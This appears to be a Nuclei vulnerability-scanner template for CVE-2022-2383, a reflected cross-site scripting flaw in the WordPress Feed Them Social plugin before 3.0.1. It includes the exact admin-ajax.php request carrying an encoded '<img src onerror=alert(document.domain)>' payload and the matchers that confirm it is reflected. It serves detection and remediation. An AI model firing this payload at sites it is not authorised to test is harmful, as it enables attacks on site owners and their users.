id: CVE-2022-2383

info:
  name: WordPress Feed Them Social <3.0.1 - Cross-Site Scripting
  author: akincibor
  severity: medium
  description: |
    WordPress Feed Them Social plugin before 3.0.1 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape a parameter before outputting it back in the page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Update to the latest version of the Feed Them Social plugin (3.0.1 or higher) to mitigate the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/4a3b3023-e740-411c-a77c-6477b80d7531
    - https://wordpress.org/plugins/feed-them-social/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2383
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-2383
    cwe-id: CWE-79
    epss-score: 0.19266
    epss-percentile: 0.95533
    cpe: cpe:2.3:a:slickremix:feed_them_social:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: slickremix
    product: "feed_them_social"
    framework: wordpress
  tags: cve,cve2022,wp,wordpress,wp-plugin,wpscan,xss,slickremix
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/feed-them-social/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Feed Them Social'
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=fts_refresh_token_ajax&feed=instagram&expires_in=%3Cimg%20src%20onerror%3Dalert%28document.domain%29%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src onerror=alert(document.domain)><br/>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100cd866376ff475b67577684916cf6250fae1be7fc4a01b1776e6831549e331d460220655e5ef3b453112f89a0e951adc068ae3603ef70733a0de87a58df362f579ad3:922c64590222798bb761d5b6d8e72950